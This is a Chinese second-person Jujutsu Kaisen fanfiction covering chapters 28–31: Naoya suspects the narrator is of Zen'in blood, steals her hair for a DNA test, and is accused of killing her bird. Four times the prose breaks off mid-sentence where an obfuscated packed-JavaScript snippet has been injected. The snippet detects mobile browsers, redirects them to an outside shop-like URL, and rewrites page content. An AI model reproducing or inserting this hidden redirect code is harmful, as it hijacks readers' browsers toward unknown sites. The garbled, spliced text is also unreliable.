“《古事记》里登场的那位建御雷神?” 像每个认真倾听的乖小孩,直哉适时地给出捧哏的反应,而你默默把脑袋别到了一边去,藏起自己的无知。真不想承认,你上文化课的时候有足足八成以上的时间没有认真听——很显然,课堂上常提及的传说故事的解读也被囊括在你神游天外的八成时间之中了。 还好还好,此刻天色昏暗,林子里也没有街灯,不会把你心虚的无知表情明晃晃地映在直毘人的眼前,直哉更是没打(勇)算(气)看你。家主大人一如既往,没有把多少心思放在你们两个小屁孩的身上,自顾自地说下去。 “对,传说是这样没错。但就像我说的,世上不存在神明。人们会用尊敬的名讳供奉它,纯粹只是畏惧着它带来的灾难罢了,说到底就是侥幸心理,认为只要将诅咒捧上崇高的地位、拱手赠予用来献祭的倒霉蛋,咒灵就会乖乖熄灭怒火,保佑未来风调雨顺。这种自欺欺人的行为可真是……” 他说着,自然而然地笑起来,像理所应当嘲笑着蠢货的天才。或许也不应该责怪他身为有能力者的自负,毕竟当时愚昧的人们确实做出了很多可笑的事情。 “雷神”出没的时间很可能是两千多年前,早于西方人认定他们的神诞生的公元以前。在那个诅咒横行的时代,无论是咒灵的数量还是等级,貌似都不是现如今能够比拟的,尤其应对诅咒的咒术还不成体系,人类像麦苗那样轻而易举地就会被碾压得支离破碎。 奈良的雷神栖息于北山,人们称其为不动北山樱,它用连日的暴雷连接天地,把贫瘠的土地灼烧成焦土,简直就是行走的天灾,但饱受天象蹂躏的民众谁也没想着要制裁雷神,反而拱手送上年轻的孩子作为祭品,还设立了神祠,用颤颤巍巍的虔诚之心供奉它。 祭品有用吗?或许没有。即便如此,在信念的加持下,无论怎样的现状都能够被曲解为是祭品带来的功效——倘若雷神消停,连月风调雨顺,肯定祭品的功劳;如果落雷几乎要烧尽大地,绝对是祭品不够,还要再接再厉。 “知道吗,那时候死了不少人。” 估计是想要逗你们一下,直毘人的手伸过来了,挨个摸过你和直哉的头顶,力道不小,好在也不疼。 “像你们这样的小孩肯定是最先被送去当祭品的。” 是吗?那确实挺可怕的。不过直哉却摆出一副不屑的面孔。 “我可不会对这种事束手就擒。如果非要把我推上祭坛,我一定会干脆地祓除掉那个诅咒的。”说得还挺自信。 直毘人倒是不反对他的自负,也没说什么扫兴的话。传说还在继续,到此可不算是结束。 “我刚才说了,那个时代还没有正统的咒术体系,也没有正经的咒术师,可不动北山樱已经造成了太大影响,最后由当初研究阴阳之术的某个家族封印了起来。这个家族在之后逐渐发展分化,其中的一支成为了如今的禅院。与此同时,雷神的信仰也还在传递,虽然过去被曲解,信仰也逐渐减弱,不过依然存在。” 他瞥了一眼地上的木屑,神存在的痕迹即将被彻底清理。 “无用的信仰,还是被根除比较好。” 直哉在旁边搭腔,说着很没主见的“就是就是”,简直变得像是平常环绕在身边的那些小跟班一样。你还没见过这副模样的直哉,多多少少有点好奇,不过更让你在意的是家主话语间不自觉透露出来的态度。 “直毘人大人。”你插嘴进来,“您讨厌被人称作雷神的这个咒灵,是吗?” 你直白地戳穿,难怪直毘人和直哉都会同时向你投来目光——直哉的表情明显是在说你这家伙居然知道礼节和敬语的用法啊,还以为你在谁的面前都是一副无法无天的样子呢。 至于直毘人,他对你的询问倒是不觉得意外,说不定还提前预料到了,所以才能毫无芥蒂地轻笑一声。 “为什么这么说?”他反问你。 “这个嘛……”你的目光扫过夜空和地面,在心里稍稍斟酌了一下发言,“感觉您的语气里带着轻蔑。” 直毘人完全不予以苟同,“很正常吧,对待咒灵就该是这种态度,不是吗?” “那我只能说是直觉了。我感觉到了您的不高兴和不喜欢。” “好吧,这一点我不否认。” 无论是抛开正统咒术师生来对诅咒的厌恶,他的确也很反感不动北山樱,厌恶的对象不是它本身,而是民众将其奉为神明的扭曲信仰。 “既然是咒术师结束了灾厄,倒是把咒术师当做神那样尊敬啊。没才能的蠢货,一心以为是虔诚的信仰派上了用处,真叫人讨厌。” 毫不留情的贬低,直哉继续在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344347|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是就是”。你不确定怎么回应比较好,干脆不说话了。 “总之,过去是禅院封印了雷神,倘若哪一天不动北山樱再度肆虐,也该由禅院家的咒术师继续履行未尽的工作,彻底祓除无法被驾驭的力量。” 直毘人看着你们说。或许今晚他让你和直哉来到此处的目的,就是为了把至关重要地这句话说给你们听吧。 直哉感到了一丝违和感——很奇怪,明明是被委托了如此重要的职责,为什么要觉得违和?难道不该感到得意才对吗,毕竟家主老爹把如此重要的家族职责就交给了他? 恍恍惚惚的违和感太不真切,他当下没办法意识到自己的困惑是怎么回事。好在还有一重疑惑是清晰到可以直接诉说的。 “咒灵被封印在了什么地方?”直哉换上很认真的语调,证明自己真的有在认真听,“我认为,不如直接祓除它。这种事禅院家能做到。” 简直就是在发号施令了,还好直毘人只把这番发言当做小孩子的意气用事,很可能都没有在认真听,只笑了两声,用拍拍肩膀当做是给这番提案的答复。 “谁知道呢。反正我不知道不动北山樱如今在哪里。” 直毘人重新把双手揣进衣袖里,转身向鸟居走去。 “最好一辈子都无人知晓才是最好吧。” 奇怪的发言。你听不懂,直哉也一样,不过他已经进入了同仇敌忾的状态,窃声说着在雷神信仰早已衰退、连小小的神社都已拆除的当下,祓除掉它绝不是困难事。 “不动北山樱,这名字也真难听。”顺便再旁敲侧击地贬低一番,“娘们唧唧的名字。” 你不明白,“为什么说娘们唧唧?” “把‘樱’这个词放在名讳里,女里女气的。” “女里女气没什么不好的吧,而且也没有人说过什么词属于什么人,不是吗?”你好无奈,“直哉你看什么事情都好片面,只知道按照性别划分,真……” 直哉想也不想赶紧打断你:“才轮不到你说我!” 还轮不到你这个不姓禅院的家伙说他禅院直哉的不好,这可是倒反天…… ……等等! 恍惚的违和在思绪短暂中断的瞬间忽然变得好明晰,有棱有角地从他的脑海里滚过去,留下一串难看的痕迹。他意识到违和感的源头了。 “该由禅院家的咒术师继续履行未尽的工作”,说出这句话的时候,家主老爹的目光不仅落在了自己的身上,还看向了你,仿佛你也是这份责任的执行者。 禅院直哉当然是禅院家的咒术师,对他委以重任完全是理所应当。 可你,只是被抱回家的孤儿的你,姓氏是格格不入的五十里的你,凭什么要肩负起和禅院家继承人的他一样的—— ——啊。 直哉意识到了一点。他第一次意识到这一点。 他开始怀疑,你是禅院家的后代。 29.合理推测 你,五十里鸣神,居然存在着本名为禅院鸣神的概率。 意识到这一点的同时,直哉的脑海中跳出了硕大的“不妙”,随即这个如同警告般的标识瞬间填满了大脑,差点连知觉都要一并吞没,反对的念头根本钻不出来,他怎么想都觉得如此荒诞的猜想绝不可能只是空穴来风。 甚至,这还能解释很多疑惑——为什么你做出了一大堆讨人厌的事情却还能继续留在家里,就连家主老爹也对你讨人厌的秉性睁一只眼闭一只眼;为什么你从来都是被作为咒术师培养的,仿佛无论天赋如何你都一定能够挤入咒术师的行列之中;为什么你明明平平无奇,却每年都要正经地进行来自总监部的体检,从头到脚的状态都要以既定的标准衡量一遍。 曾经这些苦难让直哉想不到答案、还多少引发了一丁点嫌弃和嫉妒的大事小事,只要套上“五十里鸣神实则禅院家血脉”的一层理由,瞬间显得不那么违和了,却也更加让他厌恶了。 怎么会这样,最讨人厌的你的身上居然也流淌着和最值得被爱的他的一样的血脉吗?光是稍微想一想,直哉的鸡皮疙瘩就起了一身。再顺势联想到你对他默不作声却存在该极强的暗恋倾诉(啊?),他当即觉得更难受了,冒出来的鸡皮疙瘩瞬间进化成小虫子,到处爬个不停,留下一串痒兮兮的痕迹。 不行不行不行不行,才不要你这种人当他的妹妹呢! ……哎呀不对! 直哉明明不在意此事,却在这时候不经意地想起来了。他想起你的生日比他还要稍稍早上一点——至于早了多久,他可不关心,你的生日绝不是值得让他铭记的事情。 况且,你比他早出生几天都无所谓。有所谓的是,你出生得比他早——这可是既定事实! 倘若不切实际的血缘论是真的,你就不该是他的妹妹,而该是姐姐才对了。 姐姐……姐姐……呕…… 光是随便想一想,直哉就已经很想吐了。 虽说在禅院家,哥哥姐姐是全然无用的头衔,实力和天赋足够碾平早出生几年带来的无用优越感。可在你与直哉之间,如果年长的那方是你,是赤手空拳就能把他按在地上打的你,是对他心怀暗恋的你,无论如何直哉都觉得无法接受。 所以不行不行不行不行,你一定不是禅院家的小孩,也绝不能成为禅院家的小孩。 直哉一刻不停地在心里如此想着。 听说有种神秘力量叫做吸引力法则,只要在心中坚定不移地锁定一个念头,这个想法最终就会化作实际。直哉不确定自己的吸引力法则是否真的派上了用场,他只能希望如此。不过,仔细想想,既定的基因貌似也不是光靠动动心思的思考就能更改的。 基因……是了,基因! 继承了禅院姓氏所有人,在这支古老血脉的影响之下,全都被塑造成了相似的模样,或多或少带着重叠的影子,比如略微细长且上扬的眼角,还有泛着近似密林色泽的虹膜,这些一定是最显著的特征,就连那个继承了洋人血统的维拉也或多或少地表现出了这些特征。而你呢? 直哉打量着你的脸,把你从头到脚看了一遍。 你姑且长了一双圆眼睛,但也没有那么圆,还总是习惯性地眯一眯眼,眼眶不经意间就被塑造成了稍稍狭长的形状,眼角既不往下耷拉,看起来也并无乖张的飞扬弧度,真奇怪。眸色则是一成不变的浅橄榄色——说难听点就是不黄不绿的暗淡色泽,直哉只在流浪猫的眼睛里看到过相似的颜色。更别说一头纤细又多、显得乱蓬蓬的巧克力色发丝了,禅院家的发质可不是这样的。 你外表上的一切特征都好不禅院,如此看来,你一定不是禅院。直哉几乎是立刻就能给出结论了,可总是在即将落实结论之际,迟疑肯定会横上一脚,重新把他踹进摇摆不定的烦人状态。 说不定你只是太像妈妈了,说不定你故意让自己看起来不像个禅院,说不定是他强烈的不希望和你有任何血缘瓜葛的心态影响了判断?很有可能。 光用眼睛来判断肯定还不够,直哉明白,他需要更加客观且不会动摇的证据,比如像是…… “我真的觉得直哉有点太暗恋我了。” 你对维拉说。 小鸟正在叽叽地从你手心里啄虫子吃。小家伙的状态好了不少,最近已经能够扑棱着像模像样地拍打翅膀了,看来过不了多久就能飞出此地了吧。 它对禅院家或是维拉或是你,全都毫无眷恋,尽管会有亲昵的小动作,却任何时刻都想着要伸展双翅,向天空进发。 禅院维拉在给自己腿上的伤口换药。她刚结束一场祓除任务,看起来疲惫不堪兼惨兮兮,对八卦一贯不关心,只是出于朋友的道义配合地抬起无神的灰色眼睛,应了一声“哦”。 “我知道,你和我说过了这件事。” “嗯,我知道我说过。”你拍掉掌心里的沙土,“这次想表达的意思是,直哉对我的喜欢好像进化了。” “哦?” 维拉想象不出那位骄纵的继承人喜欢他人的样子,更无法描绘出这种暗地里的爱恋还能怎么升级。尽管她依然没那么好奇,却还是随口追问你这么说的理由。 “因为他比往常更认真地盯着我了。”你一本正经说。 明明不好奇的,可当这个毫无新意的理由钻进耳朵里时,维拉还是冒出了一丁点的失望。“这事情你和我说过了。” “我知道呀。我想表达的意思是,他的行为已经比先前更上了一个层次!” 之前的直哉总是眯着眼看你,每当你与他对视,他就会立刻移开目光,好像刚才的小动作只是你的错觉。 最近可就大不相同了,直哉竟然会不加掩饰地直视着你,带着略显认真的考究神态,就连狐狸似的眼睛都睁得比平常更圆一点,从你的头发丝看到手指尖,视线最常停留在你的眼睛上,不知是想从里面找到些什么。 “而且,他最近还总是想对我……动手动脚?” 啊,可不是骚扰意义的动手动脚。 虽然禅院直哉过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348447|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去现在和未来都不会是什么正人君子,好在刚刚抵达青春期的他暂时做不出太过下三滥的事情,被你认定为“动手动脚”的行为,不过只是时不时就想要来扯你的头发,以及比平常更主动地想要和你在一对一的训练中切磋,为此多挨上几次拳头全没有过多怨言。 简直奇了怪了。 “这是动手动脚吗?”维拉不理解,“至少我认为切磋是正常的。” “不好说。但我知道直哉之前很不乐意和我进行一对一训练。哦,对了,他还总想给我表演他新学的魔法。”因为他不想被你按在地上打,你想,不过却没有特地说出口,毕竟这不重要,稍显重要的可能是,“不管是训练的时候,还是表演魔法,他总是想要揪我的头发。” 维拉有定论了,“他喜欢的或许就是你的头发。” “诶?” 明明是离谱的猜想,听起来却莫名的很像那么回事。你忍不住眯起眼。 “也就是说。”你有一个大胆的猜想,“禅院直哉是个喜欢女孩子头发的变态?” 禅院直哉才不是喜欢头发的变态。他对你的发丝唯一的的兴趣,就是承载在里头的基因信息。 没错,他要对你进行DNA亲缘鉴定。猜想或是长相全都不靠谱,只有身体里承载的基因信息才是最客观的事实,他要从生物学意义上彻底排除你们之间存在的关联性。 这样就能轻而易举地得出结论了。他想。 然而事情才没有这么简单。 DNA鉴定是电视剧里常常上演的桥段,总是轻轻松松地就能创造出巨大的冲突,一缕头发总会带来颠覆性的结果。在那些家庭伦理剧里,常常是使用从某人床铺上拾来的头发,或是睡梦里偷偷剪下的一段发丝,就能作为基因检测的样本,由此得出是或不是的推断。 可放在现实生活里,操作起来完全没有电视里展现出来的那么方便。 首先,自然掉落在衣领上的头发派不上用场——比如像是他委托了妹妹去更衣室所找到的那根黏在和服领口的短短发丝。检测员说这根头发的毛囊都死掉了,没办法进行检测。 现在直哉知道了,电视剧里的桥段都在骗人。 刁钻的检测员给出了要求:“请提供至少五根带有完整毛囊的头发,或者血液,十毫升左右;带有口腔黏膜细胞的唾液也可以作为检测样本。” 血液和唾液……恶心的体.液,他才不要碰。还是给头发吧。 但是,五根?完整毛囊?的头发?真麻烦! 直哉都有点不情愿继续了,可他请不希望未知之事变成薛定谔的猫,在奇怪的叠加状态中摇摆不定。不过是头发而已,没有什么能难倒他禅院大少爷! 虽然他试图揪你头发的小动作全部失败,对你的死缠烂打与魔术小技巧也尽数落空,但事情一定不能到此为止。就算是偷偷潜进你的房间,他也要达成目的。 所以他真的这么做了。 悄悄地、悄悄地。 他步入你的空间。 30.无人知晓的历险记 直哉对你的房间并无兴趣,正如他对你此人也不存在更多好奇一样——他在心里反复重申着这一点,成功地说服了他自己,迈入房间的脚步愈发放轻。他知道自己必须小心。 你的房间不只住了你,还有禅院维拉,不过直哉已经找准了你们俩谁都不在的时间,不透光的室内只有他一个人的脚步声而已。他闻到了一股很淡的樟脑丸的味道。床铺还没整理好,凌乱地瘫在那里。在里头能找到符合检测标准的你的头发吗?希望如此吧。 直哉把手伸到了你的床上。 其实,大可以找他的小喽喽来做这件事的,可直哉实在不想让此事被更多人知晓。再说了,那些趋炎附势的家伙本质上都是没能力的蠢蛋,重要的大事还是交给自己才更安心。 被褥里冷冰冰,早就没有温度了,皱巴巴的痕迹足够证明你是个晚上睡觉不安稳的家伙。直哉眯眼,试着从褶皱里找到你的头发,然而什么也没有。 就连枕头上都见不到头发,梳子更是早就被清理过了,简直像是你猜出了他的心思。 你才猜不出大少爷的想法呢,纯粹是直哉运气糟糕,正好凑上了你打理床铺的日子——至于为什么清理了床铺却不乐意整理被子,其中的懒惰还是不要多问了。 转了一圈,这里也没有其他承载着你基因的东西,明明此处理应算是你的巢穴。甚至,连鲜明地带有你的色彩的物品也没有,你的空间只放着禅院家制式的东西,无趣。而直哉也从没有送过你什么东西,肯定不会在你的房间里找到他留下的任何痕迹 直哉明明心里知道这一点,可还是对你房间的乏味感到愤懑。 一无所获,那就没有多做停留的意义了。 在做出“撤退”决定的瞬间,他的心跳才趋于平静。他不会承认探访你的房间是足够让他紧张的事情,但他的确是在离开的时候才出现了一丁点小小的疏忽。 他踢到门边的鸟笼了,铁丝碰撞住吱嘎的声音。还好,笼子里没有会发出警告声的鸟。里头完全空空如也。 重新摆正鸟笼,沿小路走出去。一无所获固然让人觉得可惜,不过直哉自信无人会知晓他的偷摸行径,可就在当天夜晚,你敲响了他的窗户。 “直哉。” 你看着他的双眼。 “是你杀死了我养的小鸟,对吗?” 你的小鸟死了。 它死得一定不平静,很惨地被卸成好几块,血淋淋散落在门前的某棵灌木下方,那种凄惨的样子会让人极度不想要将画面转化成语句,毕竟它看起来完全不像是往日会用圆滚滚脑袋蹭你的手吃虫子的模样了,你也差点就没能认出这是你的小鸟。 不过,准确地说,它不能被称作“你的小鸟”。它理应是野生的造物,被自然和天空共同孕育的心跳,只是凑巧且偶然落在了你和禅院维拉的身边,被你们救治,所以才有了难得的共度时间而已。你心里知道,痊愈之后它就要重新回到天空,绝不是属于你或者任何人的宠物。 至于直哉,他当然也无法认同“你的小鸟”这种称呼——他只见到了空鸟笼而已,从始至终连它的羽毛都没有碰到,对于你的指控更是觉得莫名其妙。 对于莫须有的控诉,最好的回应当然是一声冷笑,还要顺便拧出一副嫌弃的面孔。这一连串的小动作对于直哉来说可以说是相当熟练了,毕竟他三天两头就要摆出这种很欠打很气人的表情给禅院家的人看,真该庆幸他贵为禅院家小天才,且你一向只当他这副拧巴的表情是面部神经在抽抽,否则他早就求仁得仁,吃上一记来自你家里的其他人或者是你的拳头了。 “说什么乱七八糟的呢,你?”直哉的白眼翻上天灵盖,用很无语的表情喋喋不休地说着,“什么鸟不鸟的,你没睡醒吗?说话能不能有点条例和逻辑,别把重要的前提默认是人人都知道的真理?还有,你为什么又来敲我的窗了,从正门进来端端正正地冲我行礼问好的拜访方式对你来说很难吗?真没礼貌!” 话好像有点说得太多了,就连直哉自己都意识到了这一点,可是真怪,他居然不愿意停下话语,丝毫没有意识到这是心虚感在作祟。 毕竟,就在短短的几个小时之前,他还鬼鬼祟祟地在你的房间里寻找着能够当做基因检验样本的头发,很可惜当时一无所获——你这家伙完全不脱发吗?他郁闷地想。 尽管收获为零,闯入异性闺阁的确是事实没错。直哉打心底觉得有朝一日属于他的禅院家,无论哪一寸土地都应该感恩戴德地迎接他的造访才对,他完全不必为了走进谁的房间而感到别扭,可一想到这是你的栖息地,说不定还会在屋顶下惦记着他的事情,他绝不愿意接受的来自你的暗恋肯定也是在此地发酵的,想想都觉得难受,他才不要走进你的房间! 很可能厌恶和心虚是硬币的正反面,一想到要被这么讨厌的你知道了他曾他踏入过你的地盘(不对不对禅院家都是属于他的,才没有什么区域是“你的地盘”呢!),直哉理所应当觉得浑身不自在。相较之下,他对于你的血脉来源的怀疑都显得不那么重要了,无论如何都不能让你知道他去过你的房间才行…… “可你不是来过我房间了吗?” 一秒钟就暴露了。 甚至你点破事实的口吻好平淡,与他的心绪简直天壤之别,让直哉更觉得难以接受了。他几乎要跳起来。 “瞎说什么呢五十里鸣神!”他干脆叫你全名,好像这样一来道理才会来到他的身旁,“不许污蔑我!” “没污蔑你啊。我们在说鸟的事情不是吗?”你对他随便扯开话题的行为不高兴,忍不住蹙了蹙眉,“你来过我的房间,我闻到你留下来的味道了。” 皱眉绝不是好迹象,八成是你要挥拳揍人的前提。 事先说清楚了,直哉可不介意和你进行拳拳到肉的切磋,也根本不害怕被你按在地上打——这种事又不会发生他根本不怕哟! 也就是说,在看到你的眉心挤出八字形皱纹时,他下意识后退的三小步纯粹只是……一对一战斗前的准备?对你无理取闹话语的逃避?感觉你的话语逐渐变得变态起来了所以才出现的下意识防御?嗯嗯嗯,就是这个了! 几乎是立刻,他叫嚷起来:“你连我身上的味道都记住了?你是不是有病!” 真是要命了。 直哉想,你果然是相当喜欢他啊。 你歪过脑袋,轻轻叹气。 只是简单地说出了事实就破防了,你想,直哉这家伙实在太好琢磨了。 不管怎么说,被关上变态的标签实在不好,尤其在你不将直哉视作变态的情况下反而要被他认定是怪人,这样的认知也太不对等了。你得矫正一下才行。 还好还好,你不会采用一贯的拳头矫正法。把话说清楚就足够了。 “你的房间会点线香不是吗?很贵气味很浓郁的那种线香。”是家里除了家主之外很少有人能够点的那种奢侈品,“你每天身上都是那股冲冲的味道,留在我的房间里了,很明显。” 直哉无奈地扯扯嘴角。现在他冷静一点了,也是找回了他一贯的风度——而他的风度就是没有风度,只会毫不留情地贬低你。 “说谎能不能说得好一点?找点借口都能说得漏洞百出的,就和你整个人一样。”他嘲讽你,“我身上的线香味可没这么浓。” “因为你的嗅觉太迟钝吧,我站在这里都能闻到。” 你们之间可是隔了好一段距离呢,要是再近一点的话—— “要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352241|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是离你这么近,我都要忍不住打喷嚏了。” 短短半句话的功夫,你已经越过窗户,一下子窜到了直哉的面前,探着身子嗅他的气味,扬起的短短发梢几乎要擦过他的脖颈,痒痒的,害他几乎要手足无措。 “能不能有点禅院家女人的样子?”他痛斥你,“女人这么主动像话吗?” “像话啊。而且我还没到女人的阶段,我是青少年。” 毕竟你的十三岁生日才刚过去没多久呢。 你说话一向没有重点还没头没脑。直哉真是受够你了,恨不得赶紧推开你,可是你目的明确,在问出小鸟杀手的真实身份之前,绝不会轻易离开他的眼前。 小鸟……是了,你的重点是小鸟,而不是他来过你房间的这件事。 直哉的心虚感稍稍减弱了一点。他也意识到了,只要专注在鸟的话题上,你就不会再盯着他来过房间的事情喋喋不休了。 “我没杀你的鸟。我压根不知道你有宠物鸟的事情,也没见过什么鸟。” 这是事实,当然能够说得信誓旦旦。但你还是要眯起眼,认真地打量他。 “真的吗?” 直哉要生气了,“对未来家主丝毫没有信任吗?你这种不忠心的家伙,还是别留在禅院家了——省得你变成害群之马!” 你不搭理他的要挟,只是微微前倾着身子,就爱能彼此之间本就狭窄的距离进一步压缩,说:“请你把你刚才的话重复一遍。” “我没杀你的鸟!” “好。” 你重新站直身子,倏地离远,了然般点点头。 “我知道了。”你说,“我相信你。” 你知道直哉是个混蛋,对他的做派了解得不能再了解了。但是,你也知道,他喜欢你(?)。既然你暂时不想对这份未曾言说的喜欢予以同等的喜欢,那就用相近的信赖作为替代品吧。 所以你说,你相信直哉。 这是……莫名其妙的献忠?至少直哉认为这是献忠,且莫名其妙。 他搞不懂你,也不明白在听到这句话时,为什么自己的心脏很猛烈地跳了一下。 或许是因为,这是和家里其他人给予他的谦卑的谄媚或是恭顺截然不同的、平等的信赖吧。 可恶的心脏,别在乱七八糟的时候乱七八糟地乱动啊!直哉恨恨地想。好在他轻而易举地就整理好了无所适从的心情,不过你行动更快,这就已经跳出窗户,准备离开了,完全不打算问他任何和鸟有关的事情。 “看来你也不关心的鸟啊。”直哉赶在你走之前嘲讽你一句,顺便发挥他一贯的自恋,“想和说说话也用不着故意找死鸟的话题吧?” “也不是不关心,只是我心里有其他的嫌疑人了。” 你怀疑是禅院健人在搞鬼。他向来是小心眼的劣等大人,还被你偷走了随身听(本人倒是一直都没有意识到做出此事的人是你),是最完美的嫌疑犯。接下来你就要找他去打探了。 “而且。”你不解地看向他,完全没理解他的自恋,“我想和你说话的话,什么时候都可以和你说啊,不是吗?” 直哉实在不喜欢你这种坦然自若的态度。“那平时也没见你和我说话。” “因为我不想和你说。你要是希望我和你多聊天的话,我会和你多多说话的。” “滚!”他直接把脏话砸你脑袋上,“你乐意我可不乐意,现在你只需要说‘我这就告辞了’然后滚蛋!” “我这就告辞了。” 你冲他点头执意,却没有真的走掉。 你想到了挺重要的一件事。 “直哉,既然你没有伤害我的鸟,那你为什么要来我的房间?” ……话题又绕回来了。 31.真相兑谎言 糟透了。真的是糟糕透顶。 直哉没想到,脑子缺根筋的你最后居然还能让话题重新绕回到他曾去过你的房间的这件事上——以你东一榔头西一棒槌的思考水平,难道不该早就把这件事情忘记了吗? 嗯……该怎么说呢,他真是一如既往地爱小瞧别人,尤其是你。 也完全没有注意到,莫名其妙跑去别人的房间里是多么一件无法被轻易忘记的重要大事。 总之现状就是这样了,你干脆了当地点破了最重要的大问题,直接把直哉架在了最尴尬的境地。眼下怎么看都没有能够用来扯开话题的话题了。 既然这样的话,那就—— “我想要拿到你的头发,带毛囊的那种,因为我听到了一个传闻。” 想要把最要紧的问题以最完美的方式糊弄过去,只需要保持一部分的诚实,再加上一丁点的谎言即可。 深谙此道的直哉随即露出了一副怜悯的面孔,皱着脸很心疼似的看你。谎言这就要派上用场了,他毫无愧疚感地说:“我听家里的长辈说,你不是五十里家的小孩,只是被捡来的孤儿而已。” “哦。是吗?” 你眨眨眼,不知道是还在消化这个消息还是怎样,表情居然和听到此话之前完全一致,根本没有大受打击的模样,也看不出半点惊愕。但这也没什么让人好意外的,直哉比谁都知道你多没有良心——连诉说父母去世的事情都不会露出半点伤感表情的你,说不定根本就不存在正常人拥有的心脏。 必须承认,你确实没有惊讶,也不觉得这是可笑的无稽之谈。对于直哉的一家之言,其实你还挺认真的,所以你才会问他:“谁在说这种话?” 直哉耸耸肩膀,“就家里的大人啊。” “哪位大人?我认识吗?” 你决心找到传闻的源头。 直哉感觉到自己糊弄不过去了,干脆继续捏造谎言,“我老爸咯。” “我明白了。”你点点头,“我去找直毘人大人问问。” 说着,你这就准备走了。直哉赶紧拽你的袖子。 “我觉得我爸会和你说实话吗!对于你这种小家子气的好奇,他肯定都懒得搭理你。”直哉急匆匆地说,只想赶紧打消你过剩的行动,“知道吗,就是因为清楚我爸会怎么应对你的反应,所以我才要自己出手,来拿你的头发!” 你想了想,觉得必须坦白一件事:“我一点也不明白你想要我的头发做什么。” “做基因检测,检验你究竟是不是你父母的孩子。” 直哉适时的在这时候叹气摇头,露出一副无比可惜的样子。 “我本来是想偷摸摸做掉这件事的。要是测出来你真的只是个被捡来的可怜蛋,我就可以随时随地拿这件事情来嘲笑你了。可惜你发现了我的目的,现在我没办法偷摸摸做这件事了——唉,真是骗不过你,你这家伙实在是太敏锐了。” 虽然直哉一点也不擅长夸别人——拜托,他一向是被夸赞的那一方好吗。不过,对你的虚假恭维倒是信手拈来,说得还挺情真意切。你轻而易举地相信了他的动机。 当然,你相信的也只有动机而已了。对于你不是五十里家的孩子这件事,你可不信。 “我肯定是我妈妈的女儿。”你可以断言,“我知道的,肯定是。” 你当然是你妈的女儿啦,可现在的问题是你爸会不会是我爸啊。直哉愤愤地想。 这念头决不能说出口,一旦诉说,肯定会把他刚才的一系列谎言一口气全部戳穿。他无语地笑了笑,都懒得哄你。 “谁知道呢,你爸妈那么早就死了,说不定都来不及告诉你关于身世的真相。” “可我就是五十里家的孩子啊。”你依然坚持着这番说法,多少有点固执了。 直哉懒得和你争,口头占据上风可没用,真正能够说得响亮的永远只有事实而已。他干脆向你伸出手,叫你拔几根头发给他。 “要带毛囊,知道吗?”要求还挺高,“等检测报告出来不就知道了。” “你说得对。但我一定是五十里家的小孩。” “是是是我知道了你别说了。” 五根属于你的头发就这么来到了直哉手中,虽然到来的过程稍稍有点偏离轨道,好在算是达成了目标。接下来要编撰怎样的谎言,就等基因检测报告出来之后再决定了。在此之前,直哉知道自己还不能百分百放心。 不过,当事人的你倒是挺安心的。 正如你冥顽不化的固执,无论如何你都会认定自己是五十里家的血脉。妈妈无数次和你说过五十里家的故事,说你们的家族在很久很久之前曾是研究阴阳之术的阴阳师,到了近代也在持续着生物化学方面的研究,所以你的母亲才成为了生体研究机构的研究员。她说,你继承了她的姓氏,以后一定也会是称职的五十里。 话虽如此,称职的五十里该是怎样的呢?你没有概念。你也不清楚,成为咒术师的这条路会不会是妈妈渴望的,毕竟在与她相伴的时间里,你从没有听说过任何与咒术有关的内容。 如果走上的不是妈妈期望的道路,她会难过吗?你依然不知道。 稍稍有一些实感的,是你似乎有些难过。这是在来到禅院家之后,你第一次为你原本的家而感到难过。 你忽然很想念住在轻井泽五十里家时的冬天,爸爸会带你去工作踩雪,顺路绕到研究所接妈妈下班,她的同事们总是笑着看你,用目光送你走到好远。 简直是和如今截然不同的日子。 你仰头望天。今日是满月,和维拉说她不喜欢禅院家的那个夜晚差不多的月亮。你的脚步不自觉沉下来,大概是小鸟的亡魂正在拉拽着你的鞋底吧。 刚和直哉道别的时候,你还觉得心情不错,此刻已经不可避免地消沉起来了,拖沓的脚步迟迟地带你回去,刚迈过房门,就看到了四下张望的维拉。 她像是在寻找着什么,不停地在灌木丛下打转。 听到你的脚步声,她稍稍有些被吓到了,猛得打了个激灵,匆忙抬头看你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 